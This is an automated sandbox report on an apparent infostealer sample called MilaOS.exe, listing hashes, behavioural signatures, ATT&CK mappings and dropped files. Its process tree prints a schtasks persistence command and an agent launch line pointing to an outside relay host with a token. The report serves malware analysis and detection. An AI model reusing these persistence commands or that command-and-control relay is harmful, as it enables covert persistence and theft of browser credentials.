Resubmissions
04/11/2026, 23:57
261104-3zyy6agw4j804/11/2026, 23:34
261104-3klehsv1bx804/11/2026, 23:28
261104-3gc9qs1v7m8Analysis
- max time kernel
152s - max time network
162s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/11/2026, 23:34
Static task
static1
Behavioral task
behavioral1
Sample
MilaOS.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
MilaOS.exe
Resource
win11ltsc2024-20260911-en
General
- Target MilaOS.exe
- Size 142.9MB
- Sample261104-3klehsv1bx
- SHA256 c75491d5dae45b83722a841fe6bb700a46138a38d11a6c7cb3fcb72d07be80ac
- MD5 cc5b4f724d094a826be3b36bf7a28d08
- SHA1 be4f5b41559b92e3fc500edeb2235ac1c0093110
- SHA512 ab65740566cc51f522769f805f4b826b29488bd9e3ac309d363455d3c29cc920792de794a20a5aaa367f83d3da705c73f8974afaebe511d32920487f926eef5c
- SSDEEP 3145728:3OYWzeujeqSnkf5ImCaRdrNSDYHl6JfeRnG99KkMZd:HWzpwkxPTPsYHl64RnGrKzZd
- TLSH T1EC6833F17B2F9CC3E7AB91F85B361A250F7812925F80102500BE93DAD278A975837F56
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Downloads MZ/PE file 2 IoCs
flow pid Process 9 1508 MilaOS.exe 9 1508 MilaOS.exe - Executes dropped EXE 5 IoCs
pid Process 4264 qhs_bce47272.exe 1560 qhs_bce47272.exe 3156 qhs_bce47272.exe 3972 qhs_bce47272.exe 1308 qhs_bce47272.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\MilaAgent = "\"C:\\Users\\Admin\\AppData\\Local\\MilaAgent\\qhs_bce47272.exe\" --run --quiet" qhs_bce47272.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname MilaOS.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname qhs_bce47272.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain qhs_bce47272.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain MilaOS.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3280 schtasks.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1508 MilaOS.exe 1508 MilaOS.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1508 MilaOS.exe Token: SeDebugPrivilege 4264 qhs_bce47272.exe Token: SeDebugPrivilege 1560 qhs_bce47272.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4436 explorer.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1508 wrote to memory of 3280 1508 MilaOS.exe 89 PID 1508 wrote to memory of 4264 1508 MilaOS.exe 91 PID 1508 wrote to memory of 1304 1508 MilaOS.exe 92 PID 4436 wrote to memory of 1560 4436 explorer.exe 96 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\MilaOS.exe"C:\Users\Admin\AppData\Local\Temp\MilaOS.exe"1⤵
- Downloads MZ/PE file
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /f /tn "MilaAgentGuard" /tr "\"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe\" --run --quiet" /sc minute /mo 12⤵
- Scheduled Task/Job: Scheduled Task
PID:3280
-
-
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe" --install --quiet --relay "relay=wss://puppypilled.duckdns.org:8443/ws" --token "token=token=65ac75f12495eedb30eccae771b9b9136603b22dd6140feddfee0bbe1177e995"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:4264
-
-
C:\Windows\explorer.exe"explorer.exe" "C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"2⤵PID:1304
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4436 -
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:1560
-
-
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe" --run --quiet1⤵
- Executes dropped EXE
PID:3156
-
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe" --run --quiet1⤵
- Executes dropped EXE
PID:3972
-
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe" --run --quiet1⤵
- Executes dropped EXE
PID:1308
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\MilaAgent\agent.json
- Size 295B
- SHA256 6ccbbd2a88dedd5c2438c598a9cefa37b88c2d618512be50f849f7b92d8367a9
- MD5 8431e0f28b81075173ef6987bada135b
- SHA1 ac18b6859c7500d5a1e9b0ab5d204afd266989c2
- SHA512 9846a328bfb623d2ef48b158143533410aca534a31bfdacbc974b2133c484412adf684b857a2b60ec0eecf40d3a8ce7971b90eb16323addf0c76491eb70cd66f
- TLSH T1B0E07DEC463105CB5F400798E41645AAD5C3091D4A889CD46B86CC1591C28B10581072
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaAgent\agent.json
- Size 323B
- SHA256 fc7015801ac7766dd3a690ac9191d82da0ff5b630c5dad9d64b0ef208c25f835
- MD5 29ad497d6812b8dbf217a49dc55f18c0
- SHA1 2f42f070a75bac5d5a17113afd48ff1ef90430db
- SHA512 0fc0bd5d2e20487e03e39680bcb6b0ae86944f6095026392dcbb62f76feea2cfaa5f4d8b3781a325ced1fa94be3a5e67b2d428cb6cf90c33218086fb22f6acf4
- TLSH T11AE0C6EC426121CA6F008358E8264AEA8A834D2D8AC99CCA2A8ACD08A2C28B10481033
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
- Size 625B
- SHA256 faac223786abf9daed8889ea8ef047d0160df1f996e0d82bb261a4f18c467d74
- MD5 2936dc4d5716a56e1cf8ba45d5788050
- SHA1 281decb59b53dfa6aed3b506ec5a1bd6a5c060a4
- SHA512 96f654e143afad77d40ccb2e430fd1ee977e3aff2cc43f3bd1619d63c4cba09885f6d08cf425b08fd8a6991762abe358659356e95cfecbc3cf4675e7ad85dced
- TLSH T1A9F0490E1A940122A643187166791F5A9317A2BBB184E48D33EBCC94460B8BC6EF4087
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaAgent\agent.log
- Size 1KB
- SHA256 e9b47bb5a08799a5a6523fdb1acb42992035deccb1606dd8fbf3d0b95042ae35
- MD5 1ee63da132acf79d4a9a9f093e7142f6
- SHA1 3c145631d79625a7d30354de0766a4dc1d74f0f5
- SHA512 296c0554b046149f29bfe92a497c5ca604bed638695d0751145ad31d85d8adfb1a3eeecbf642a176e89ee36a6443919d96f4287fceb7cea9216a2ecce7e3adfb
- TLSH T1FE31781A66E84376A213593222BD4F9A531791FA7248E18D33EBDC4853028BCBFD1497
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe
- Size 131KB
- SHA256 0483ead973d45dfdf69673135ae28d38aa643eae893113727b2a1cb2faa2cd50
- MD5 648763eb9d5886cac3f310d8adf68820
- SHA1 87b2a375e149c281f95df9e57a54054988ffd39a
- SHA512 10e39f8168f3ce6158d210984132732095d8bac3d1f0c63e33461d6487da0067967e8d53a0be6f3023993272bc0994396d98e3ea01a4ca81bb6b02432d0190ea
- SSDEEP 1536:zNhh0KEttaN+62wJgl6rdrnfUt3lmECycpPYHuZiy2Wjo0DaWMai0Yak8fNsRLxr:z9XrdrilmXycpPYOwy2WjHIBc1sLlh
- TLSH T1D0D3C44533F94215F2FF6F78AD7616600A37BD4AAC39D64D098D909D0BB3B848861BB3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\MilaAgent\rename-request
- Size 28B
- SHA256 f19b47e8b76b9d76474f7307d9b9644a0ba9b0c02e95d2eb66fae47f01b620fa
- MD5 50292fbed57c4a340882da7d69497486
- SHA1 018cfd949e4fee15d68cdde63465d00871dfaf9b
- SHA512 0578e7c525c556039c41e7e8e6ab37bb742c8aea229d89d4d2f7d866e05c3966abaddadfeafe2e01490934c11df60ed801aebf334650328d8439d4d920a58ddc
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\MilaDrain\extension\manifest.json
- Size 1KB
- SHA256 fc680eccff5da0760a659fd28dc43cd19bdeb6d1d69509e8efb9d70643955f12
- MD5 91d467b9776b9ec1d4b490d2915af2c7
- SHA1 70c00e48aeb28fe14d77842cf8e7dc5ab33d98f1
- SHA512 3e82d8a65080845a507a01910ebded8118fe333841dd4945c3a67abee5ff32bea6552fe3aba5b6619702333d4f95cd5f262ffeefc6cff591cd5b9ac172625cfe
- TLSH T1CC31BCBBCAB41D231AF47F60287911427B92429F4ED2AD09F74D007B8F1E5E914B5326
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaDrain\extension\xprofile\name.txt
- Size 27B
- SHA256 b27d14c581b3dbb015df9096375bba89a1c1f0904e1dc0edae1c11bf4e6ae0d4
- MD5 b1497037b6c5e10e6f94b0b57f46fbd5
- SHA1 21b81cd71795ed60d06464bac1f927e4efddf781
- SHA512 aa93ac9e3ae1d24078afd80caf876d2b053f0c22e35b5a3daff4c4a40aaf78baf8d47575df6aa19a3bdca68392b2051eb01188f9d7481aad5c1dd9d7c67fe630
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\MilaDrain\extension\xprofile\name.txt
- Size 28B
- SHA256 83df3e7194a6cd6ddff6ec63dedbfb18413058621ab508ca6fe2944015383d35
- MD5 90135faebf3b63484e24c1941b547f86
- SHA1 89cbf3ea6c913d4bd8ee732aa4118c125bc3d02b
- SHA512 334314a28b6d33e15d911da5f604c291d495d1ec5bb3484abe0799cd08e4939a3249883a0bf600123cf9ef3ce6083e3c55092bac37b576f87af61c8c86584174
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\MilaDrain\extension\xprofile\pfp.png
- Size 43KB
- SHA256 234ff3eb90ea53a5977ac70167f36bae57a3b289c030f7a1e524fdd9d23b669c
- MD5 f42f82895c8f872b1450d575e5db593b
- SHA1 e42b93f2e623571cca48e59d619dce53665e3cbd
- SHA512 053b468fb7355c03cdc515173a3f285f45d1e80fc65d06a80209381162484cd0df7c49668f0e2dd8739636e7d8567c021b7afd63651271b0870c04ce2350d2d3
- SSDEEP 768:CbNZVQvY1us1PPP4H1+w50hDZLntVjGZIOR1lMg3e+SdL19KIKMDVf2d2ronT3Xt:gNHQhAn4V+aItn/SZvz3SdL19PFDgEQt
- TLSH T13F13E1E84232A69EE6CA0D37208594A53241610F579FFAF482736004BFCE39F11ECEB5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\MilaDrain\hub.log
- Size 4KB
- SHA256 7ea08b285f66a70b2032daa59dd282cb0f69ab6dd7f73c3a4029a923cb928a3c
- MD5 136eee572293c86fd8dd6975cac62e35
- SHA1 ea548028b0deeb14a804de7de895981b9134a1ed
- SHA512 db3249ba6d44a042e80398df71df69208c792767d70a7341c54f7e7c15317d993d49d66c32713da86b0ce009924220aa865d32d6885095f5434edb824601c5a4
- SSDEEP 96:WlsVy25MXjSuA+fesej+O4pr6N1RyMOMOMTMcMcMcMcMow7MyjdIgMG:WyVynNv6N3zw7
- TLSH T119919D1CBBA6C1A73B7354C37274CA439161493AA561FA1C1BCB089E53B045EB2DB3F2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\MilaDrain\hub.log
- Size 2KB
- SHA256 4215f4ca995b56f1664a29338594866956fb4c73233d8e14c5a59083681094d1
- MD5 b7201d9a1318aa17f8f508de097b245e
- SHA1 3e548f19a61ae73df96fe6cbba225ef7813b7c6f
- SHA512 174f2d2162c743950b5a067275f83525cb54fb6d3bc91f7a0fd8f2e7029c43b262c8dbd5ada9e4600722381816317bd259e8080e9130c6215144f2d371d2afdf
- TLSH T15251BB2D7B65C1BB3BB350837235D643D161453AA662EE1C1BDB08AE537005EB1C73B6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaDrain\hub.log
- Size 3KB
- SHA256 e54eb404b0d02e582aeeb78154f498effd25fb527b11beb63887acf419533800
- MD5 ff4f454e8ba29ff628150d0b91225dc6
- SHA1 a22d2204be7d174749e77c576e7964a4874e0ef6
- SHA512 4421d4d5ea90a3dfab26841ec3ce418829abd41bf6aea5477057c21a3266c7ebc5f64d727c946e1b4008c276086ce6e28efef5a7ece22ee0106f3842a9cf7d1f
- TLSH T1E6819C1CAB66C5A73B7354C37264CA439261493AE561FA1C1BCB089E537045EB2DB3F2
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaDrain\hub.log
- Size 2KB
- SHA256 df32433eb4446e7607e0b1741fd5c4b7a01910e916dbd99e1ce8b364bca04224
- MD5 6fa22fbcd11d1c9aeebc2a9ed43332a4
- SHA1 6a857c2f265ed3aad99d0bfcf80b55e75f34cdcd
- SHA512 e141173874cb7c4699065c5f94cf4a757d8e7903a50828428cc0ee6fe45532c078b2b4731b59a19b5117d3c0d0eeb4d7570763e2c6d377f71947cb808c96b851
- TLSH T15341872C6B20867B3BB30043B27AC653D1618536A622DE1C1BCB4CEE237145EF1D3276
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaDrain\hub.log
- Size 1KB
- SHA256 57a0f58b84cb0d699e872b882ac2568940397f17e2e89af332279e99d7ee94ba
- MD5 c8025a1237acdb5510858343cc1cad2b
- SHA1 d792754a267585736200b1b2c4b714232e50b24c
- SHA512 52b30e361fcb71e309b48aabf3a38583c307dc7a7ec3bfe5eab5c8c19f98bab6c7452eaf20e04ad59db236136c84670deca8b9fd08a0a5abf77036fb543cf0f7
- TLSH T1D821562C6B6089BE77B31143B67AD507E1A185239522DE1C1FEB48EE937450EB4C3371
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaDrain\pet\hub.json
- Size 802B
- SHA256 dfb4ced7b013239ecc4682ac1be74adf0cf3e04363ef84e4bdfff50554c82e6e
- MD5 3fe9dd84100520498e7873ccc41c5839
- SHA1 3aaca2d7d07efba8416cb757804ebe42f5ee2a41
- SHA512 09149e9a086c885134058bb61809ee4357c2c0a4e7dc94d6bc28c44ce1f066b4da0353a07e0575c866eec90f6fa75d34fc4981afbf6b8581aee4c0ddd3a93207
- TLSH T14F019E66D42D15B801F8643DCCDEB2432B748E1482AA3D7CD0538909618E72270FBFE4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaDrain\pet\throne-goal.json
- Size 73B
- SHA256 6ad861257a49e757137c7fb4e578d2cce8e97d211ab19ae5b59cdaf8e36acbfd
- MD5 4dd74edab60a7a0f2998f71889e99fcc
- SHA1 db454ba722f78a5431d52999d5a42db9037da3cd
- SHA512 c922937f64b32a794b70b257b2c411634d99dfb127e23daf0ccc31e25200dbdb32d42b4238b6f2c5fa8b55ff926681847b3f11c8356c6cb7140ce5e00fbb7172
- TLSH T16AA022288AB8B0F0C03083FB22032003BB332203080C0EE003BACA2003800E0000A232
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\MilaDrain\pet\throne-goal.json.sig
- Size 64B
- SHA256 2de394d342c84c1b4bf6261f5e7659062ebceb40d2996b2824a7b42fa15d3976
- MD5 6432bf911a6c227e40d9e5781dba1869
- SHA1 a70b5a69f106082967db7a0aad4f6385fd814a2d
- SHA512 b45cc524b34fa8593ff2544cc981707a13343e44232066ba099474df17ac0302d48f34f9c9370628cf75e39f726eedc8f27d5d060e7f0bf720a575562ce6f0ca
- TLSH T15DA022C2BC3000008C0CB003A00020C2A0AA000C308022008E8002803833AA02B000B2
- MD5 SHA1 SHA512 TLSH